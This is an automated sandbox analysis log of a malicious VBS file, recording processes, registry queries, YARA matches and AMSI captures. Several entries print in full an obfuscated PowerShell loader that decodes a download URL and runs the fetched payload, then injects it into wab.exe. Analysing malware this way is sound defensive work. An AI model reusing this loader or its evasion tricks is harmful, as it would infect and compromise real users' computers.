'Kommand$VarmefoT RosabeiSmaafejnAirablegSejlgarebondedri overin Storhje=Madolie Whelple( Jodenf(LensgregSymbolowAdodvurmGateforiKreklar BaconlewEtnograi SiphonnUnarmsa3Supines2Paamnst_Stichomp TapprirSavagenoUncivilcSandblseskoldnisSrgeligsSekundv byplay-ArchangFUdtnkni CunctaPSuperavrFljtetsoDenormacGigatoneTyrestasViperousformosaI InstitdOutrovi= Compli$Interim{DiffereP EngageIcismariD Rekomm}Lappemi)Tekstfo.SkattepCemprostoFrmandom murlycm SkriveaHaviournAfstnindunstrikLKobbersiunrigornDodecapeMiniste) Koloni Poster-fagterssSipiditp Beskrel MisforiAnnammet abunda Upassel[Feberenc ImitathNonsaneaelathavrSociali] Concil3 Paroar4 Nonulc '); & ($Odonto01) (Sabbatsaf9 'Crickep$SkrubtunCounteriNaturalgLinealehGatheretManaismsSalsaenhLappeskiKeyways Bristle=Papyrop Ndbrem$FiksxirT LateroiIndflydnridgetrgUdvindie TredjeiInveste[Piskeri$ AftrdeTGarfunkiMultiranDendropgAksetsbeskrivemiVardens. SkabnicChemurgoRecipieuEksportnsouthertOktaede-Bumbler2Zimentw]Udsnits '); & ($Odonto01)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
Source: unknown Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Sabbatsaf9 ([String]$conver){$Hemi = 8;For($Chaperone=7; $Chaperone -lt $conver.Length-1; $Chaperone+=$Hemi){$Odonto=$Odonto+$conver.Substring($Chaperone, 1)};$Odonto;}$Forflygtig=Sabbatsaf9 'Moskeerh RadiattIntensitplatybap ProinssAweless:aurotel/ Unword/UnspicidGennemlrlitigabi DruknevBrnepsye Lseret.FritstigSpeaknioFrgemanounmeticgTrelemelTelemeteAntleri.IncomplcacritajoVinkelrmEcumeni/AmbytoouAnthrapcKomplek?SilkenweUncondoxSimplicpKnasteroFlertydrKalendetFertili=CleektidGeneraloMillosvwFleretanEctoderl SkjoldoDementiaCellevgdHyperne&Diskotei CompledBethank=Smrsrim1TennissQ BegohmuTilfredjSkefuldxEstimab0PengeafwButnakk0 AgerkaZCarpomeISalamanMsardachwMiskendrmunksbiaBedraget RecivicEtheris2ChekhovlNaggingLAabningxSipesrrrEstivat5 EuropeSSketchirCalcarifPersoniV CasinouKatedra6 BicarbyLadybirTSkrlevndJuanitaDSvrtlstHFellato ';$Odonto01=Sabbatsaf9 ' PrivatiThiofure Subvarx Lsnagi ';$Adjurorp = Sabbatsaf9 'Incitab\ Banders TorniryQuadruas MillimwTaskleso SirupswTanzani6 eftert4Microco\VetchyiWlrebogsiUniversnEnervatdTrafikuoMicrochwbrnehavsCardonrPAdoptivoRasurerw DeveloefaithfurFinansiSTousysyhJockeyieAriettalAmtsliglForeswe\SummandvEpanaph1Viltert.Semifos0videobr\ViktualpBauhinioMarkerswfiercene OnklenrSalgsdasLsreforh StudieeChagrinl DumpnilTapemar.TrinskieUdviklix UdgifteSkatteb '; & ($Odonto01) (Sabbatsaf9 'Forvikl$ OpponedConcinna PseudorCoaxerskAichmopfWhitewauAruncuslEnsrettsDiakonh2Hairlac=Desmotr$AuxiliueDialysen EksamevLytterf:hannibawFiskeriiUnitesanDenatiod Speedoi GauleirFireren ') ;. ($Odonto01) (Sabbatsaf9 'Klodser$BandoliAReported Piroguj MonocauVedtagerLoxingsoHelvetir ribaldp ukonve=Chefgru$SeptibrdProvostaDeputerrGrapholkLidebruf KonsekuNonprohl PorculsSurfrid2Fjerntl+Summari$ OptimaA FibrisdAlertedjEuphoniuFanaabsrDermatooSkivgatroveranap Hypers ') ; . ($Odonto01) (Sabbatsaf9 'Kommand$VarmefoT RosabeiSmaafejnAirablegSejlgarebondedri overin Storhje=Madolie Whelple( Jodenf(LensgregSymbolowAdodvurmGateforiKreklar BaconlewEtnograi SiphonnUnarmsa3Supines2Paamnst_Stichomp TapprirSavagenoUncivilcSandblseskoldnisSrgeligsSekundv byplay-ArchangFUdtnkni CunctaPSuperavrFljtetsoDenormacGigatoneTyrestasViperousformosaI InstitdOutrovi= Compli$Interim{DiffereP EngageIcismariD Rekomm}Lappemi)Tekstfo.SkattepCemprostoFrmandom murlycm SkriveaHaviournAfstnindunstrikLKobbersiunrigornDodecapeMiniste) Koloni Poster-fagterssSipiditp Beskrel MisforiAnnammet abunda Upassel[Feberenc ImitathNonsaneaelathavrSociali] Concil3 Paroar4 Nonulc '); & ($Odonto01) (Sabbatsaf9 'Crickep$SkrubtunCounteriNaturalgLinealehGatheretManaismsSalsaenhLappeskiKeyways Bristle=Papyrop Ndbrem$FiksxirT LateroiIndflydnridgetrgUdvindie TredjeiInveste[Piskeri$ AftrdeTGarfunkiMultiranDendropgAksetsbeskrivemiVardens. SkabnicChemurgoRecipieuEksportnsouthertOktaede-Bumbler2Zimentw]Udsnits '); & ($Odonto01) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Sabbatsaf9 ([String]$conver){$Hemi = 8;For($Chaperone=7; $Chaperone -lt $conver.Length-1; $Chaperone+=$Hemi){$Odonto=$Odonto+$conver.Substring($Chaperone, 1)};$Odonto;}$Forflygtig=Sabbatsaf9 'Moskeerh RadiattIntensitplatybap ProinssAweless:aurotel/ Unword/UnspicidGennemlrlitigabi DruknevBrnepsye Lseret.FritstigSpeaknioFrgemanounmeticgTrelemelTelemeteAntleri.IncomplcacritajoVinkelrmEcumeni/AmbytoouAnthrapcKomplek?SilkenweUncondoxSimplicpKnasteroFlertydrKalendetFertili=CleektidGeneraloMillosvwFleretanEctoderl SkjoldoDementiaCellevgdHyperne&Diskotei CompledBethank=Smrsrim1TennissQ BegohmuTilfredjSkefuldxEstimab0PengeafwButnakk0 AgerkaZCarpomeISalamanMsardachwMiskendrmunksbiaBedraget RecivicEtheris2ChekhovlNaggingLAabningxSipesrrrEstivat5 EuropeSSketchirCalcarifPersoniV CasinouKatedra6 BicarbyLadybirTSkrlevndJuanitaDSvrtlstHFellato ';$Odonto01=Sabbatsaf9 ' PrivatiThiofure Subvarx Lsnagi ';$Adjurorp = Sabbatsaf9 'Incitab\ Banders TorniryQuadruas MillimwTaskleso SirupswTanzani6 eftert4Microco\VetchyiWlrebogsiUniversnEnervatdTrafikuoMicrochwbrnehavsCardonrPAdoptivoRasurerw DeveloefaithfurFinansiSTousysyhJockeyieAriettalAmtsliglForeswe\SummandvEpanaph1Viltert.Semifos0videobr\ViktualpBauhinioMarkerswfiercene OnklenrSalgsdasLsreforh StudieeChagrinl DumpnilTapemar.TrinskieUdviklix UdgifteSkatteb '; & ($Odonto01) (Sabbatsaf9 'Forvikl$ OpponedConcinna PseudorCoaxerskAichmopfWhitewauAruncuslEnsrettsDiakonh2Hairlac=Desmotr$AuxiliueDialysen EksamevLytterf:hannibawFiskeriiUnitesanDenatiod Speedoi GauleirFireren ') ;. ($Odonto01) (Sabbatsaf9 'Klodser$BandoliAReported Piroguj MonocauVedtagerLoxingsoHelvetir ribaldp ukonve=Chefgru$SeptibrdProvostaDeputerrGrapholkLidebruf KonsekuNonprohl PorculsSurfrid2Fjerntl+Summari$ OptimaA FibrisdAlertedjEuphoniuFanaabsrDermatooSkivgatroveranap Hypers ') ; . ($Odonto01) (Sabbatsaf9 'Kommand$VarmefoT RosabeiSmaafejnAirablegSejlgarebondedri overin Storhje=Madolie Whelple( Jodenf(LensgregSymbolowAdodvurmGateforiKreklar BaconlewEtnograi SiphonnUnarmsa3Supines2Paamnst_Stichomp TapprirSavagenoUncivilcSandblseskoldnisSrgeligsSekundv byplay-ArchangFUdtnkni CunctaPSuperavrFljtetsoDenormacGigatoneTyrestasViperousformosaI InstitdOutrovi= Compli$Interim{DiffereP EngageIcismariD Rekomm}Lappemi)Tekstfo.SkattepCemprostoFrmandom murlycm SkriveaHaviournAfstnindunstrikLKobbersiunrigornDodecapeMiniste) Koloni Poster-fagterssSipiditp Beskrel MisforiAnnammet abunda Upassel[Feberenc ImitathNonsaneaelathavrSociali] Concil3 Paroar4 Nonulc '); & ($Odonto01) (Sabbatsaf9 'Crickep$SkrubtunCounteriNaturalgLinealehGatheretManaismsSalsaenhLappeskiKeyways Bristle=Papyrop Ndbrem$FiksxirT LateroiIndflydnridgetrgUdvindie TredjeiInveste[Piskeri$ AftrdeTGarfunkiMultiranDendropgAksetsbeskrivemiVardens. SkabnicChemurgoRecipieuEksportnsouthertOktaede-Bumbler2Zimentw]Udsnits '); & ($Odonto01) Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=5748
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7296
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oqhos1gm.k31.ps1 Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winVBS@9/6@2/2
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1804:120:WilError_03
Source: C:\Program Files (x86)\Windows Mail\wab.exe Mutant created: \Sessions\1\BaseNamedObjects\Rmc-42EOAE
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\310235118213_0365013261_20231018.vbs"
Source: C:\Program Files (x86)\Windows Mail\wab.exe File opened: C:\Windows\SysWOW64\msftedit.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior

Data Obfuscation

barindex
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: .Run("powershell "Function Sabbatsaf9 ([String]$conver){$Hemi = 8;For($Chaperone=7; $Chaperone -lt $conver.Length-1; $C", "0")
Source: Yara match File source: 00000004.00000002.2672208376.0000000008B62000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2672044951.0000000008200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2658657509.00000000054F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Sabbatsaf9 ([String]$conver){$Hemi = 8;For($Chaperone=7; $Chaperone -lt $conver.Length-1; $Chaperone+=$Hemi){$Odonto=$Odonto+$conver.Substring($Chaperone, 1)};$Odonto;}$Forflygtig=Sabbatsaf9 'Moskeerh RadiattIntensitplatybap ProinssAweless:aurotel/ Unword/UnspicidGennemlrlitigabi DruknevBrnepsye Lseret.FritstigSpeaknioFrgemanounmeticgTrelemelTelemeteAntleri.IncomplcacritajoVinkelrmEcumeni/AmbytoouAnthrapcKomplek?SilkenweUncondoxSimplicpKnasteroFlertydrKalendetFertili=CleektidGeneraloMillosvwFleretanEctoderl SkjoldoDementiaCellevgdHyperne&Diskotei CompledBethank=Smrsrim1TennissQ BegohmuTilfredjSkefuldxEstimab0PengeafwButnakk0 AgerkaZCarpomeISalamanMsardachwMiskendrmunksbiaBedraget RecivicEtheris2ChekhovlNaggingLAabningxSipesrrrEstivat5 EuropeSSketchirCalcarifPersoniV CasinouKatedra6 BicarbyLadybirTSkrlevndJuanitaDSvrtlstHFellato ';$Odonto01=Sabbatsaf9 ' PrivatiThiofure Subvarx Lsnagi ';$Adjurorp = Sabbatsaf9 'Incitab\ Banders TorniryQuadruas MillimwTaskleso SirupswTanzani6 eftert4Microco\VetchyiWlrebogsiUniversnEnervatdTrafikuoMicrochwbrnehavsCardonrPAdoptivoRasurerw DeveloefaithfurFinansiSTousysyhJockeyieAriettalAmtsliglForeswe\SummandvEpanaph1Viltert.Semifos0videobr\ViktualpBauhinioMarkerswfiercene OnklenrSalgsdasLsreforh StudieeChagrinl DumpnilTapemar.TrinskieUdviklix UdgifteSkatteb '; & ($Odonto01) (Sabbatsaf9 'Forvikl$ OpponedConcinna PseudorCoaxerskAichmopfWhitewauAruncuslEnsrettsDiakonh2Hairlac=Desmotr$AuxiliueDialysen EksamevLytterf:hannibawFiskeriiUnitesanDenatiod Speedoi GauleirFireren ') ;. ($Odonto01) (Sabbatsaf9 'Klodser$BandoliAReported Piroguj MonocauVedtagerLoxingsoHelvetir ribaldp ukonve=Chefgru$SeptibrdProvostaDeputerrGrapholkLidebruf KonsekuNonprohl PorculsSurfrid2Fjerntl+Summari$ OptimaA FibrisdAlertedjEuphoniuFanaabsrDermatooSkivgatroveranap Hypers ') ; . ($Odonto01) (Sabbatsaf9 'Kommand$VarmefoT RosabeiSmaafejnAirablegSejlgarebondedri overin Storhje=Madolie Whelple( Jodenf(LensgregSymbolowAdodvurmGateforiKreklar BaconlewEtnograi SiphonnUnarmsa3Supines2Paamnst_Stichomp TapprirSavagenoUncivilcSandblseskoldnisSrgeligsSekundv byplay-ArchangFUdtnkni CunctaPSuperavrFljtetsoDenormacGigatoneTyrestasViperousformosaI InstitdOutrovi= Compli$Interim{DiffereP EngageIcismariD Rekomm}Lappemi)Tekstfo.SkattepCemprostoFrmandom murlycm SkriveaHaviournAfstnindunstrikLKobbersiunrigornDodecapeMiniste) Koloni Poster-fagterssSipiditp Beskrel MisforiAnnammet abunda Upassel[Feberenc ImitathNonsaneaelathavrSociali] Concil3 Paroar4 Nonulc '); & ($Odonto01) (Sabbatsaf9 'Crickep$SkrubtunCounteriNaturalgLinealehGatheretManaismsSalsaenhLappeskiKeyways Bristle=Papyrop Ndbrem$FiksxirT LateroiIndflydnridgetrgUdvindie TredjeiInveste[Piskeri$ AftrdeTGarfunkiMultiranDendropgAksetsbeskrivemiVardens. SkabnicChemurgoRecipieuEksportnsouthertOktaede-Bumbler2Zimentw]Udsnits '); & ($Odonto01)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Sabbatsaf9 ([String]$conver){$Hemi = 8;For($Chaperone=7; $Chaperone -lt $conver.Length-1; $Chaperone+=$Hemi){$Odonto=$Odonto+$conver.Substring($Chaperone, 1)};$Odonto;}$Forflygtig=Sabbatsaf9 'Moskeerh RadiattIntensitplatybap ProinssAweless:aurotel/ Unword/UnspicidGennemlrlitigabi DruknevBrnepsye Lseret.FritstigSpeaknioFrgemanounmeticgTrelemelTelemeteAntleri.IncomplcacritajoVinkelrmEcumeni/AmbytoouAnthrapcKomplek?SilkenweUncondoxSimplicpKnasteroFlertydrKalendetFertili=CleektidGeneraloMillosvwFleretanEctoderl SkjoldoDementiaCellevgdHyperne&Diskotei CompledBethank=Smrsrim1TennissQ BegohmuTilfredjSkefuldxEstimab0PengeafwButnakk0 AgerkaZCarpomeISalamanMsardachwMiskendrmunksbiaBedraget RecivicEtheris2ChekhovlNaggingLAabningxSipesrrrEstivat5 EuropeSSketchirCalcarifPersoniV CasinouKatedra6 BicarbyLadybirTSkrlevndJuanitaDSvrtlstHFellato ';$Odonto01=Sabbatsaf9 ' PrivatiThiofure Subvarx Lsnagi ';$Adjurorp = Sabbatsaf9 'Incitab\ Banders TorniryQuadruas MillimwTaskleso SirupswTanzani6 eftert4Microco\VetchyiWlrebogsiUniversnEnervatdTrafikuoMicrochwbrnehavsCardonrPAdoptivoRasurerw DeveloefaithfurFinansiSTousysyhJockeyieAriettalAmtsliglForeswe\SummandvEpanaph1Viltert.Semifos0videobr\ViktualpBauhinioMarkerswfiercene OnklenrSalgsdasLsreforh StudieeChagrinl DumpnilTapemar.TrinskieUdviklix UdgifteSkatteb '; & ($Odonto01) (Sabbatsaf9 'Forvikl$ OpponedConcinna PseudorCoaxerskAichmopfWhitewauAruncuslEnsrettsDiakonh2Hairlac=Desmotr$AuxiliueDialysen EksamevLytterf:hannibawFiskeriiUnitesanDenatiod Speedoi GauleirFireren ') ;. ($Odonto01) (Sabbatsaf9 'Klodser$BandoliAReported Piroguj MonocauVedtagerLoxingsoHelvetir ribaldp ukonve=Chefgru$SeptibrdProvostaDeputerrGrapholkLidebruf KonsekuNonprohl PorculsSurfrid2Fjerntl+Summari$ OptimaA FibrisdAlertedjEuphoniuFanaabsrDermatooSkivgatroveranap Hypers ') ; . ($Odonto01) (Sabbatsaf9 'Kommand$VarmefoT RosabeiSmaafejnAirablegSejlgarebondedri overin Storhje=Madolie Whelple( Jodenf(LensgregSymbolowAdodvurmGateforiKreklar BaconlewEtnograi SiphonnUnarmsa3Supines2Paamnst_Stichomp TapprirSavagenoUncivilcSandblseskoldnisSrgeligsSekundv byplay-ArchangFUdtnkni CunctaPSuperavrFljtetsoDenormacGigatoneTyrestasViperousformosaI InstitdOutrovi= Compli$Interim{DiffereP EngageIcismariD Rekomm}Lappemi)Tekstfo.SkattepCemprostoFrmandom murlycm SkriveaHaviournAfstnindunstrikLKobbersiunrigornDodecapeMiniste) Koloni Poster-fagterssSipiditp Beskrel MisforiAnnammet abunda Upassel[Feberenc ImitathNonsaneaelathavrSociali] Concil3 Paroar4 Nonulc '); & ($Odonto01) (Sabbatsaf9 'Crickep$SkrubtunCounteriNaturalgLinealehGatheretManaismsSalsaenhLappeskiKeyways Bristle=Papyrop Ndbrem$FiksxirT LateroiIndflydnridgetrgUdvindie TredjeiInveste[Piskeri$ AftrdeTGarfunkiMultiranDendropgAksetsbeskrivemiVardens. SkabnicChemurgoRecipieuEksportnsouthertOktaede-Bumbler2Zimentw]Udsnits '); & ($Odonto01)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Sabbatsaf9 ([String]$conver){$Hemi = 8;For($Chaperone=7; $Chaperone -lt $conver.Length-1; $Chaperone+=$Hemi){$Odonto=$Odonto+$conver.Substring($Chaperone, 1)};$Odonto;}$Forflygtig=Sabbatsaf9 'Moskeerh RadiattIntensitplatybap ProinssAweless:aurotel/ Unword/UnspicidGennemlrlitigabi DruknevBrnepsye Lseret.FritstigSpeaknioFrgemanounmeticgTrelemelTelemeteAntleri.IncomplcacritajoVinkelrmEcumeni/AmbytoouAnthrapcKomplek?SilkenweUncondoxSimplicpKnasteroFlertydrKalendetFertili=CleektidGeneraloMillosvwFleretanEctoderl SkjoldoDementiaCellevgdHyperne&Diskotei CompledBethank=Smrsrim1TennissQ BegohmuTilfredjSkefuldxEstimab0PengeafwButnakk0 AgerkaZCarpomeISalamanMsardachwMiskendrmunksbiaBedraget RecivicEtheris2ChekhovlNaggingLAabningxSipesrrrEstivat5 EuropeSSketchirCalcarifPersoniV CasinouKatedra6 BicarbyLadybirTSkrlevndJuanitaDSvrtlstHFellato ';$Odonto01=Sabbatsaf9 ' PrivatiThiofure Subvarx Lsnagi ';$Adjurorp = Sabbatsaf9 'Incitab\ Banders TorniryQuadruas MillimwTaskleso SirupswTanzani6 eftert4Microco\VetchyiWlrebogsiUniversnEnervatdTrafikuoMicrochwbrnehavsCardonrPAdoptivoRasurerw DeveloefaithfurFinansiSTousysyhJockeyieAriettalAmtsliglForeswe\SummandvEpanaph1Viltert.Semifos0videobr\ViktualpBauhinioMarkerswfiercene OnklenrSalgsdasLsreforh StudieeChagrinl DumpnilTapemar.TrinskieUdviklix UdgifteSkatteb '; & ($Odonto01) (Sabbatsaf9 'Forvikl$ OpponedConcinna PseudorCoaxerskAichmopfWhitewauAruncuslEnsrettsDiakonh2Hairlac=Desmotr$AuxiliueDialysen EksamevLytterf:hannibawFiskeriiUnitesanDenatiod Speedoi GauleirFireren ') ;. ($Odonto01) (Sabbatsaf9 'Klodser$BandoliAReported Piroguj MonocauVedtagerLoxingsoHelvetir ribaldp ukonve=Chefgru$SeptibrdProvostaDeputerrGrapholkLidebruf KonsekuNonprohl PorculsSurfrid2Fjerntl+Summari$ OptimaA FibrisdAlertedjEuphoniuFanaabsrDermatooSkivgatroveranap Hypers ') ; . ($Odonto01) (Sabbatsaf9 'Kommand$VarmefoT RosabeiSmaafejnAirablegSejlgarebondedri overin Storhje=Madolie Whelple( Jodenf(LensgregSymbolowAdodvurmGateforiKreklar BaconlewEtnograi SiphonnUnarmsa3Supines2Paamnst_Stichomp TapprirSavagenoUncivilcSandblseskoldnisSrgeligsSekundv byplay-ArchangFUdtnkni CunctaPSuperavrFljtetsoDenormacGigatoneTyrestasViperousformosaI InstitdOutrovi= Compli$Interim{DiffereP EngageIcismariD Rekomm}Lappemi)Tekstfo.SkattepCemprostoFrmandom murlycm SkriveaHaviournAfstnindunstrikLKobbersiunrigornDodecapeMiniste) Koloni Poster-fagterssSipiditp Beskrel MisforiAnnammet abunda Upassel[Feberenc ImitathNonsaneaelathavrSociali] Concil3 Paroar4 Nonulc '); & ($Odonto01) (Sabbatsaf9 'Crickep$SkrubtunCounteriNaturalgLinealehGatheretManaismsSalsaenhLappeskiKeyways Bristle=Papyrop Ndbrem$FiksxirT LateroiIndflydnridgetrgUdvindie TredjeiInveste[Piskeri$ AftrdeTGarfunkiMultiranDendropgAksetsbeskrivemiVardens. SkabnicChemurgoRecipieuEksportnsouthertOktaede-Bumbler2Zimentw]Udsnits '); & ($Odonto01) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Sabbatsaf9 ([String]$conver){$Hemi = 8;For($Chaperone=7; $Chaperone -lt $conver.Length-1; $Chaperone+=$Hemi){$Odonto=$Odonto+$conver.Substring($Chaperone, 1)};$Odonto;}$Forflygtig=Sabbatsaf9 'Moskeerh RadiattIntensitplatybap ProinssAweless:aurotel/ Unword/UnspicidGennemlrlitigabi DruknevBrnepsye Lseret.FritstigSpeaknioFrgemanounmeticgTrelemelTelemeteAntleri.IncomplcacritajoVinkelrmEcumeni/AmbytoouAnthrapcKomplek?SilkenweUncondoxSimplicpKnasteroFlertydrKalendetFertili=CleektidGeneraloMillosvwFleretanEctoderl SkjoldoDementiaCellevgdHyperne&Diskotei CompledBethank=Smrsrim1TennissQ BegohmuTilfredjSkefuldxEstimab0PengeafwButnakk0 AgerkaZCarpomeISalamanMsardachwMiskendrmunksbiaBedraget RecivicEtheris2ChekhovlNaggingLAabningxSipesrrrEstivat5 EuropeSSketchirCalcarifPersoniV CasinouKatedra6 BicarbyLadybirTSkrlevndJuanitaDSvrtlstHFellato ';$Odonto01=Sabbatsaf9 ' PrivatiThiofure Subvarx Lsnagi ';$Adjurorp = Sabbatsaf9 'Incitab\ Banders TorniryQuadruas MillimwTaskleso SirupswTanzani6 eftert4Microco\VetchyiWlrebogsiUniversnEnervatdTrafikuoMicrochwbrnehavsCardonrPAdoptivoRasurerw DeveloefaithfurFinansiSTousysyhJockeyieAriettalAmtsliglForeswe\SummandvEpanaph1Viltert.Semifos0videobr\ViktualpBauhinioMarkerswfiercene OnklenrSalgsdasLsreforh StudieeChagrinl DumpnilTapemar.TrinskieUdviklix UdgifteSkatteb '; & ($Odonto01) (Sabbatsaf9 'Forvikl$ OpponedConcinna PseudorCoaxerskAichmopfWhitewauAruncuslEnsrettsDiakonh2Hairlac=Desmotr$AuxiliueDialysen EksamevLytterf:hannibawFiskeriiUnitesanDenatiod Speedoi GauleirFireren ') ;. ($Odonto01) (Sabbatsaf9 'Klodser$BandoliAReported Piroguj MonocauVedtagerLoxingsoHelvetir ribaldp ukonve=Chefgru$SeptibrdProvostaDeputerrGrapholkLidebruf KonsekuNonprohl PorculsSurfrid2Fjerntl+Summari$ OptimaA FibrisdAlertedjEuphoniuFanaabsrDermatooSkivgatroveranap Hypers ') ; . ($Odonto01) (Sabbatsaf9 'Kommand$VarmefoT RosabeiSmaafejnAirablegSejlgarebondedri overin Storhje=Madolie Whelple( Jodenf(LensgregSymbolowAdodvurmGateforiKreklar BaconlewEtnograi SiphonnUnarmsa3Supines2Paamnst_Stichomp TapprirSavagenoUncivilcSandblseskoldnisSrgeligsSekundv byplay-ArchangFUdtnkni CunctaPSuperavrFljtetsoDenormacGigatoneTyrestasViperousformosaI InstitdOutrovi= Compli$Interim{DiffereP EngageIcismariD Rekomm}Lappemi)Tekstfo.SkattepCemprostoFrmandom murlycm SkriveaHaviournAfstnindunstrikLKobbersiunrigornDodecapeMiniste) Koloni Poster-fagterssSipiditp Beskrel MisforiAnnammet abunda Upassel[Feberenc ImitathNonsaneaelathavrSociali] Concil3 Paroar4 Nonulc '); & ($Odonto01) (Sabbatsaf9 'Crickep$SkrubtunCounteriNaturalgLinealehGatheretManaismsSalsaenhLappeskiKeyways Bristle=Papyrop Ndbrem$FiksxirT LateroiIndflydnridgetrgUdvindie TredjeiInveste[Piskeri$ AftrdeTGarfunkiMultiranDendropgAksetsbeskrivemiVardens. SkabnicChemurgoRecipieuEksportnsouthertOktaede-Bumbler2Zimentw]Udsnits '); & ($Odonto01) Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: GetDelegateForFunctionPointer((Rigwiddyc05 $Vorti $Rigwiddyc00), (Rigwiddyc04 @([IntPtr], [UInt32]) ([IntPtr])))$Skriv = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Frimrke8)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Frimrke9, $false).DefineType($Thorke0, $Thorke1,
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: FromBase64String($Sabbatsaf)$Odonto2 = [System.Text.Encoding]::ASCII.GetString($encefalo)$Labras=$Odonto2.substring(235285,19801)<#Anemati Rallensi Klumme Canalboat Unwillf #>Function Rigwiddyc02([Str
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFD33D052DA push ebp; iretd 2_2_00007FFD33D052E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFD33D0546D push ebx; iretd 2_2_00007FFD33D054EA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_06EF80D6 pushad ; retf 4_2_06EF80EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_06EF8826 pushfd ; retf 4_2_06EF882B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_06EF8821 pushfd ; retf 4_2_06EF8822
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_089FC8E8 push edx; ret 4_2_089FC8EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_089F9823 push DC578903h; retf 4_2_089F9828
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_089F7822 pushad ; ret 4_2_089F79C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_089F9879 push ds; ret 4_2_089F987A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_089F9D84 push es; retf 4_2_089F9D9C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_089F99A2 push edx; retf 4_2_089F99A9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_089F79C9 pushad ; ret 4_2_089F79C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_089FD220 push es; retf 4_2_089FD231
